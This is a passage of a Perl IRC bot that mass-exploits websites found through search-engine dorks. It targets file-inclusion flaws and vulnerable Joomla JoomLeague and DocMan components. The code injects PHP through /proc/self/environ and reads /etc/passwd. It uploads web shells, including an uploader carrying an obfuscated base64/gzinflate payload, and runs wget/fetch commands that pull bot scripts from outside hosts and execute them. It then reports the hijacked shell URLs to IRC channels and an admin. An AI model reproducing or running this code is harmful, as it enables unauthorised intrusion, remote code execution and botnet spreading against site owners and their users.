&get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/jancok%0000");sleep(2); if ($check =~ /byz9991/i) { &msg("$chan","$lfilogo4TARGET1 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$can2","$lfilogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2); &msg("$nick","$lfilogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2); &msg("$admin","$lfilogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2); } else { &msg("$chan","$lfilogo(4@3$engine4)15(4@9SysTem4)7 ".$vuln." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2); } } exit; } } else { &msg("$chan","$lfilogo(4@3$engine4)4(4@9EnviRon4)10 ".$vuln); } } exit; } sleep(2); } } } } sub rfi_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$rfilogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$rfilogo $engine scanning"); } my $coba = "http://".$site.$bug.$shellid."??"; my $bot = "http://".$site.$bug.$spread."??"; my $janda = "http://".$site.$bug."http://cetnav.com/css/jeder.txt??"; my $cek = &get_content($coba);sleep(1); my $cok = &get_content($janda);sleep(1); my $re = &get_content($coba); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if($re =~ /GIF89a/i){ &cuncik($coba); &ceker($coba); &msg("$chan","$rfilogo(4@9VuLn15)13 Target send to $nick (4@15OS= ".$os."9)(4@15id= ".$id."9)(4@9safemode ".$safe."15)"); &msg("$nick","$rfilogo(4@9VuLn15)13 ".$coba." (4@15OS= ".$os."9)(4@15id= ".$id."9)(4@9safemode ".$safe."15)"); &get_content($bot);sleep(1); } else { } } exit; sleep(2); } } } } sub cuncik() { my $url=$_[0]; my $re = &query($url); while ($re =~ m/<br>nodename :(.+?)\<br>/g) { $os = $1; } } sub ceker() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my @print; my $target = &get_content($url); if ($target =~ /GIF89a/i) { my $safe = ""; my $os = ""; if ($target =~ m/nodename : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/sysname : (.*?)<\/b>/){$os=$1;} &msg("$chan","$logo4target sent to 12$nick 14$safe $os"); &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$chan2","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); } return @print; } sub query($) { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ( $query eq "" ) { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page = "@r"; close($sock); }; return $page; } sub wpdocmancmd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$wpdocmanlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$wpdocmanlogo $engine Done"); } my $test = "http://".$site."/editor/editor_select.php?root_dir="; my $test2 = "http://".$site."/editor/editor_select.php?root_dir="; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($html =~ m/<title>..:: Administration :: Image Selection ::..<\/title>/i ) { #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2); &msg("$chan","$wpdocmanlogo $engine Exploiting ");sleep(2); &docman_xpl($test,$chan,$site,$engine); } else { } } exit; sleep(2); } } } } sub cebong_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my $bug ='/fotogalerie.php?id='; my @list = search_engine($chan,$bug,$dork,$engine,$cebonglogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$cebonglogo $engine Done"); } my $test = "http://".$site."/fotogalerie.php"; my $test2 = "http://".$site."/fotogalerie.php"; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($html =~ /Designed by StaMPi/ ) { &msg("$chan","$cebonglogo $engine Exploiting ");sleep(2); &cebong_xpl($test,$chan,$site,$engine); } else { } if ($html =~ /Fotogalerie/ || $html =~ /Designed/ || $html =~ /Foto/ ) { &msg("$chan","$cebonglogo $engine Exploiting ");sleep(2); &cebong_xpl($test,$chan,$site,$engine); }else{} } exit; sleep(2); } } } } sub cebong_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $bug ='/fotogalerie.php?id='; my @dirc = ("../../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../", "../../../../../../../../../../../../", "../../../../../../../../../../../", "../../../../../../../../../../", "../../../../../../../../../", "../../../../../../../../", "../../../../../../../", "../../../../../../", "../../../../../", "../../../../", "../../../", "../../", "../"); my $dir = $dirc[rand(scalar(@dirc))]; my $test = "http://".$site.$bug.$dir."/proc/self/environ"; my $vuln = "http://".$site.$bug.$dir."/etc/passwd"; my $shell = "http://".$site.$bug.$dir."/tmp/koboy"; my $shell2 = "http://".$site.$bug.$dir."/tmp/anal"; my $html = &get_content($test); if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$gento.'","/tmp/koboy")){ echo "SUCCESS";@copy("'.$gento2.'","/tmp/dev");@copy("'.$gento.'","/tmp/anal"); }'; my $res = lfi_env_query($test,encode_base64($code)); &lfi_spread_query($test); &get_content("http://".$site.$bug.$dir."/tmp/dev"); &get_content("http://".$site.$bug.$dir."/tmp/anaL!"); $res =~ s/\n//g; if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) { my $sys = $1; $nob0dy = $2; &msg("$chan","$mglogo 13 Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$chan2","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); } elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; $nob0dy = $2; my $upload = 'system("killall -9 perl;killall -9 php;wget http://cetnav.com/css/jeder.txt;fetch http://cetnav.com/css/jeder.txt;php jeder.txt;wget http://cetnav.com/css/jatimcrew.flv;wget http://cetnav.com/css/cup.txt;perl cup.txt;fetch http://cetnav.com/css/b.txt;mv b.txt cok.php;mv jatimcrew.flv jancok.php;wget '.$gento.' -O cok.php;fetch '.$gento.';mv jatimcrew.flv toolsb0x.php;");passthru("killall -9 perl;killall -9 php;wget '.$gento.' -O images.php;fetch '.$gento.';mv b.txt images2.php;");'; my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2); my $check = &get_content("http://".$site.$bug.$dir."/tmp/koboy"); sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/dev");sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/anal");sleep(2); if ($check =~ /GIF89a/i) { &msg("$chan","$mglogo13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$chan2","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); } else { &msg("$chan","$mglogo(4@3$engine4)15(4@9SysTem4)7 ".$vuln." 15(4@3".$sys."15))15(4@9anaL! shell uploaded15)");sleep(2); } } exit; } } else { &msg("$chan","$mglogo(4@3$engine4)4(4@9EnviRon4)6 ".$vuln." 3 ".$sys); } } exit; } sleep(2); } } sub docman_xpl(){ my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $bug ='/editor/editor_select.php?root_dir='; my @dirc = ("../../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../", "../../../../../../../../../../../../", "../../../../../../../../../../../", "../../../../../../../../../../", "../../../../../../../../../", "../../../../../../../../", "../../../../../../../", "../../../../../../", "../../../../../", "../../../../", "../../../", "../../", "../"); my $dir = $dirc[rand(scalar(@dirc))]; my $test = "http://".$site.$bug.$dir."/proc/self/environ"; my $vuln = "http://".$site.$bug.$dir."/etc/passwd"; my $shell = "http://".$site.$bug.$dir."/tmp/koboy"; my $shell2 = "http://".$site.$bug.$dir."/tmp/anal"; my $html = &get_content($test); if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$gento.'","/tmp/koboy")){ echo "SUCCESS";@copy("'.$gento.'","/tmp/dev");@copy("'.$gento.'","/tmp/anal"); }'; my $res = lfi_env_query($test,encode_base64($code)); &lfi_spread_query($test); &get_content("http://".$site.$bug.$dir."/tmp/dev"); &get_content("http://".$site.$bug.$dir."/tmp/anal"); $res =~ s/\n//g; if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) { my $sys = $1; $nob0dy = $2; &msg("$chan","$wpdocmanlogo 13 Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$nick","$wpdocmanlogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$wpdocmanlogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); } elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; $nob0dy = $2; my $upload = 'system("killall -9 perl;killall -9 php;wget http://cetnav.com/css/jatimcrew.flv;wget http://cetnav.com/css/cup.txt;perl cup.txt;fetch http://cetnav.com/css/b.txt;mv b.txt cok.php;mv jatimcrew.flv jancok.php;wget '.$gento.' -O cok.php;fetch '.$gento.';mv jatimcrew.flv toolsb0x.php;");passthru("killall -9 perl;killall -9 php;wget '.$gento.' -O images.php;fetch '.$gento.';mv b.txt images2.php;");'; my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2); my $check = &get_content("http://".$site.$bug.$dir."/tmp/koboy"); sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/dev");sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/anal");sleep(2); if ($check =~ /GIF89a/i) { &msg("$chan","$wpdocmanlogo13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$nick","$wpdocmanlogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$wpdocmanlogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); } else { &msg("$chan","$wpdocmanlogo(4@3$engine4)15(4@9SysTem4)7 ".$vuln." 15(4@3".$sys."15))15(4@9anaL! shell uploaded15)");sleep(2); } } exit; } } else { &msg("$chan","$wpdocmanlogo(4@3$engine4)4(4@9EnviRon4)6 ".$vuln." 3 ".$sys); } } exit; } sleep(2); } } sub joomleague_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$joomleaguelogojoomleaguelogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('1Rppc9u28nMzk/+AokpETazDdtLGhzRxHTlWJz4iyXlN44yGIiEJNa+QYGQ1zX/vLgCCpG05tuO+l6d2YgLYXeyNxZIPH7A4DuNRzKIwFjyYWq3a1sMHfEKsH3mSMGFVRoPuYNA7OnxfHdt/2mfVD7XaD58fPqh84gkXTpgGgrRJC5AqczaGR0Tov+3239P94fB4tH80GNIPuMyDP0vL/e6bk+5gODrp9xTAOHQXAEFt1yYLO5gSwGCOIKcBkkZ8imCJPWF+y2UA+oIHfDQFLqs4OfJDl1UN/wawRj5XEuakMRcLID/Y2euODo5edoHA0d4e3fry8AHzEnYN1CEAya1ZHLG4DTvOwkSMF4HtM8tIVFV/RzsvX/ZBTVpmdibCGIgsQ+p3D46G3QKSb3PPos5izGLBnFkQjvlfL6Y423BCn64QKjVFV+i+nXCP/IpmsQMyEyLabDYzXYHWMnFOg94xGbD4E0NGtBSnAYHZnlRxGMN0xiuVnF8yu7ZyrqxLEE+eSC3xiZW5zqvu8H3V8cKAodug1yRhGjus6AfVwW6/dzwc7fVedw93DrpV6QsuSwQn7Rzq5dHuyUH3cDjqHx0Nqx8atMl9e8qSZgIsc/g7CUMX/xEsbkSzCF0lZkrXatMVoqjWlBT36EebN/KjTeVHAOTMQkK3BRce64wXf21sbKxuN9Vwexx3kHUNMwkhvBL+F2uvESf0wE4/PZc/AOzQhtmoQbebY4NcgclRCmZuU4s2QK4RTIAyhJy0ag1au+keJ4AAnKfcbUtK/gIegYLZokHJNF+cXlwssnWj/dBisCFFG45Sab9amcwkDRzBw4BEc9iMoFc5c1dFmINTygcraTsRcRyFiYXrK9VmVbqgXPoR1zwWyKVafRUXYibSOCA40wDgzJyfC/PSv/X8VVucnt5mD4BevoneCFVWBZXFPvExgYCmjzGjElvqoE1p53qF7oa+bwdupsBtHkSpIGIRsTYV7FxQgjpuU8d3aXl1kI59nq8rOpR8sr1Ujs8AvomcdapbZU4ZGEiS8FNP8MiOhYSru7awM84zcVCar4hwEnmh7ZI97jEpRhOhL0kz467LAs1tongvAUwAXy+jb+KQ6j2fK2rXcnHI5hJ7kxSZKNBHbSrs1Wd6n4DN8YESx7OTpC3sEoJiUq/RsTC6VQKX1FtIqqix91WFnKXVVGK4HPN7lMfAjxXJR4aj2QGkz3JBpmHMu4P31Uwl1Q8AJ4GkH/rhJzZS1Jk7QgDrShThRyOFBmnWcNOQ22hm7oUUSqvySOYVcC4yF/PCF6KyLymtD1LHYUlCBEw1LpKD5LV5TOgW+SKj7ZKStdNnWoYYkSrTi74rzyqd1qKYFT1oPfOglvxBsk5mzPNG7Jw5FlKSWU05URNxaSm1lE9QP2ch1DzkC3dlIbwVD/EkYyGeAANorJE8WQAbTpYEDppGE/6H8YRP09jGIJcHcS1jEDCLBQS5A9dVLyF1z64uYfxFRafFzEZqCDoiBFcnceibNRyYlZjZXilWsokCROQtRFgAkGOzDgGJpVS7EKA4Nus+eCEULGZdj806wwrP40lOwczk/KPWNZs6ci7ErILTRpFZJvdlM1eid5lUHoAazPaxzM+VKod6FVxkJLjPRh6HfGTxQEASMwGEK3IBnWcLwHtQUWVGgvNhkXz0aO0zEmo2X8X2mEihCcRoDPphCUErkYPF4M1rBOKB46VQstFGU+I2eDAJVbmHyw8fEKJrto8eVtvk77+JHHjhlAdmFEHGNQN3bB4/pixeKHYI/KIYxCH02GM2OGzm2YyUtyZzLmZkATWm5hMXYl8FANnxPAI6wrtVAitEzHiiSckgIjYQjNnHlMfMbSgxcG92zoUefMlEq7h4wZK7Y9wF4F5WJinkykxM9Ygy1ghcPVzOLLqrwPHghUyo+FSpE4pBvY8inDAPAEfu2FLKwbJ5XCSUei4JQohWCUjwUB+jfhS4oQYBk8DxbxiWurVyLRuKb3ComdkkBiAnFKR+HM4TQwnGI5yw9BY1Y3vQu1U5b7e2SOV8O8PDwZMnuVU1FpIwJCdQOs5wpkyTSHi4viivbBdx37c+FGBMrJJGO8do0NPAmPTLBWvyUigkDIorYDLLE7BZitWjA3cRK5s0XBWgWMymeH/3bAeU+ejZ7qO1Nbwkqj/XYQJ9l32VPhSxPEqgRpmx5ApAneYuAep5A/hF/sswOaC3/Px0pPeu/rZ/6L1bf7v4Y7Cz0dv9rTVe20ictd6cvTqPnPX+zh9rqzP7P/P03dqG6P2ZTF++Cc/s33emx4Nfgz9+73vj4F3Y837bG55snPTfbvza7/YHPX72S2+n3a7WFAPF6lSVZvi4Sk1RDTW8KBTV15ewHZRl2+WfiO3xKcA7kFhZjOWmPyVJ7LQpXsYTuI3P5/OGCEMvGbfO8freFDMGOmyCH+F9PLvEQtyGa40omFJZiUr6TdhAPUGAQaKYc1fM2nS11XpEyTiMXbzftSiZMT6diTZ92vpFcZY5GGIiLe2jMHLLROCgTSIb+H8KBKfq2KU/7cFd1hBd/5l2CFS/RJ3QE3CyNt2Jue3p2pmuUVLAROTO42CcRFsH3cFg51U3CxH4DbrDk2NzbmMRLdwif80Cu9ew/ihnD3xcqyLjofsc/7soT6fARdFwMZIpXaFofZ1qMd+y2LUDe4VIeVfIPvM+McEdmEnsIKmDBfmEdt5B5s85xV8XY3/TCKrsWJDSXSLZ87tI9k28F9Wy7GaIJ7C5mlQbsohqVDPzr7dopyi9kXqZlOur3739DvGad2vzPV39Ls2XFbJFE2ZztzOjjs9bRmc5r1ypk3/Tun0s0+vD8D7C8Sai/BfsKe8dZXPKqXsNytuaLbpPo+V0ZSolxzEPsc25+VVBnq7+L42mDj7N5MMH27pEVoZjkZaCEmyYYrF4IKsPSsLAmdnBFBtXs3C+z132GlZ35S3BqhX1sR1GsojXxqe6Cmcu6dSJvqjszsIQ/tS3mwp4OToUQKSzD8r6Oug6gh7ivcYrAP/wwwWwZwj2OpyXYZqKyyL1b9H4jhC2M5MNwcwjdLlE7mmHJXGoeob6WMz7h3QNCqhm5+p4M3eEopuu/YLh800sKl8jlzYlpV3/T2uqgbo93CJpm1p2/Xs8hPVtqJi09VSetDdufgT/K+bUDvW96raUW69VCipZeqIII3oDUVZB83eQZfUb/AR9w4YqTLuHvlWrG1mb/gz8YOcCLUk74Ct6vVEFUTVm2VXGscw/hSK25Iqx7fIwf5NjGoHGHyPP5gFsP2POGYPDST9gVoNTBdYIKRbItyM+E74nKe0PD15fQ0i9wckoqbu4ISL7I0BEiZpTOUz9MYuxqYUQm8tDUHUtaeHoU3YEFV9B9sA+537qk8SJeSQINp9T1T3jPrNAHwkDUd1khbSw60SCkJheZ20pDwbEsNEqs3GNdvQrrQxxANISdgDVUZIh3qLeK5VJd/T/9fvzf9M9yyJg/WIEGIjlMXB9ZoBH7KLIkXmvRtQr/stdOJJ3kmUD+vFjbBDrVpccZA0yOTDcLe8d+5HHBIMz0iMTzjw3IWMGXDDptjyYqgZyFuhX9oGzDmIFiMgdsSWaRB4XFvYZVwpdyGLv1IDKj3WsHNsAQSkj5Kch1NjBLHmhjc09uodq2CQIgF1O7HFD/ZJ63gvZBwcB5UsYQJmzMZMWWfItUGPZJ0DyJcBRxLBJznRzXFZ6PmQUtIYdLFbgH5foDqLqjhIuZAiqHq2IweXwYyaSvW0wL02McaRh5TRoNxGJgqnlxpN96WHGBFhGdulFvEBDQapRrxFRoZ4bVAWYEp4jDlU4LCLzsrkX09oFy5HszQy+QQMHdq1JGOEXArjPCgWEFXzCAMt42rqM6czS4GykDF/ShJUBFdBS7qrerAjTKGKx5bvPrDTgH7lryVxWqxWg9VthpKo+nZFMlN9DqCa77rKfb+u3Q3KQt9kvdeKVy13qxYO+2gWHfl85z7vqMjRFmENn8OWWN8FuN3o/gG4VQJe1yB/LrR4rjCs65OWu9vW4F7vceeAPdFgrpwwRvqF+tAA88dJkZpW2noFbqGDEkNskpllDtmUu6pzGp4HpapDs8o+z9Ao6DSB00Dvo1iFLJ5DkNslqo3UR+EKclJB3lUvVh3AKQfybdrjPz5m7BedGGrh2vGijp92Gbr1+FcbynTHpN4tvNm+EitlgwuJ6FwME7LFJno+5QNTr0DOf+HZ5bq5ZBYWCbalT8ZTmiKf0ToQvS6/yxV2IveSQVhMupA/leXlL5sglDN9mn8y0t9d5vV6El59PlqJTpweFd0Wohmfq07LlYVl8daef1Tby+zv8slAdoSsq7oG73rH8iK3CI/kOsKHOz5P+azWNZ6RayM/sFX3aqm1hm38A'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_joomleague/assets/classes/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$joomleaguelogo15$engine 13 sHeLL upload3d "); &msg("$nick","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan2","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_joomleague/assets/classes/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$joomleaguelogo15$engine 13 sHeLL upload3d "); &msg("$nick","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &msg("$chan2","$joomleaguelogo15$engine 9 sHeLL 8 http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub joomleague2_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$joomleaguelogo2); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('1Rppc9u28nMzk/+AokpETazDdtLGhzRxHTlWJz4iyXlN44yGIiEJNa+QYGQ1zX/vLgCCpG05tuO+l6d2YgLYXeyNxZIPH7A4DuNRzKIwFjyYWq3a1sMHfEKsH3mSMGFVRoPuYNA7OnxfHdt/2mfVD7XaD58fPqh84gkXTpgGgrRJC5AqczaGR0Tov+3239P94fB4tH80GNIPuMyDP0vL/e6bk+5gODrp9xTAOHQXAEFt1yYLO5gSwGCOIKcBkkZ8imCJPWF+y2UA+oIHfDQFLqs4OfJDl1UN/wawRj5XEuakMRcLID/Y2euODo5edoHA0d4e3fry8AHzEnYN1CEAya1ZHLG4DTvOwkSMF4HtM8tIVFV/RzsvX/ZBTVpmdibCGIgsQ+p3D46G3QKSb3PPos5izGLBnFkQjvlfL6Y423BCn64QKjVFV+i+nXCP/IpmsQMyEyLabDYzXYHWMnFOg94xGbD4E0NGtBSnAYHZnlRxGMN0xiuVnF8yu7ZyrqxLEE+eSC3xiZW5zqvu8H3V8cKAodug1yRhGjus6AfVwW6/dzwc7fVedw93DrpV6QsuSwQn7Rzq5dHuyUH3cDjqHx0Nqx8atMl9e8qSZgIsc/g7CUMX/xEsbkSzCF0lZkrXatMVoqjWlBT36EebN/KjTeVHAOTMQkK3BRce64wXf21sbKxuN9Vwexx3kHUNMwkhvBL+F2uvESf0wE4/PZc/AOzQhtmoQbebY4NcgclRCmZuU4s2QK4RTIAyhJy0ag1au+keJ4AAnKfcbUtK/gIegYLZokHJNF+cXlwssnWj/dBisCFFG45Sab9amcwkDRzBw4BEc9iMoFc5c1dFmINTygcraTsRcRyFiYXrK9VmVbqgXPoR1zwWyKVafRUXYibSOCA40wDgzJyfC/PSv/X8VVucnt5mD4BevoneCFVWBZXFPvExgYCmjzGjElvqoE1p53qF7oa+bwdupsBtHkSpIGIRsTYV7FxQgjpuU8d3aXl1kI59nq8rOpR8sr1Ujs8AvomcdapbZU4ZGEiS8FNP8MiOhYSru7awM84zcVCar4hwEnmh7ZI97jEpRhOhL0kz467LAs1tongvAUwAXy+jb+KQ6j2fK2rXcnHI5hJ7kxSZKNBHbSrs1Wd6n4DN8YESx7OTpC3sEoJiUq/RsTC6VQKX1FtIqqix91WFnKXVVGK4HPN7lMfAjxXJR4aj2QGkz3JBpmHMu4P31Uwl1Q8AJ4GkH/rhJzZS1Jk7QgDrShThRyOFBmnWcNOQ22hm7oUUSqvySOYVcC4yF/PCF6KyLymtD1LHYUlCBEw1LpKD5LV5TOgW+SKj7ZKStdNnWoYYkSrTi74rzyqd1qKYFT1oPfOglvxBsk5mzPNG7Jw5FlKSWU05URNxaSm1lE9QP2ch1DzkC3dlIbwVD/EkYyGeAANorJE8WQAbTpYEDppGE/6H8YRP09jGIJcHcS1jEDCLBQS5A9dVLyF1z64uYfxFRafFzEZqCDoiBFcnceibNRyYlZjZXilWsokCROQtRFgAkGOzDgGJpVS7EKA4Nus+eCEULGZdj806wwrP40lOwczk/KPWNZs6ci7ErILTRpFZJvdlM1eid5lUHoAazPaxzM+VKod6FVxkJLjPRh6HfGTxQEASMwGEK3IBnWcLwHtQUWVGgvNhkXz0aO0zEmo2X8X2mEihCcRoDPphCUErkYPF4M1rBOKB46VQstFGU+I2eDAJVbmHyw8fEKJrto8eVtvk77+JHHjhlAdmFEHGNQN3bB4/pixeKHYI/KIYxCH02GM2OGzm2YyUtyZzLmZkATWm5hMXYl8FANnxPAI6wrtVAitEzHiiSckgIjYQjNnHlMfMbSgxcG9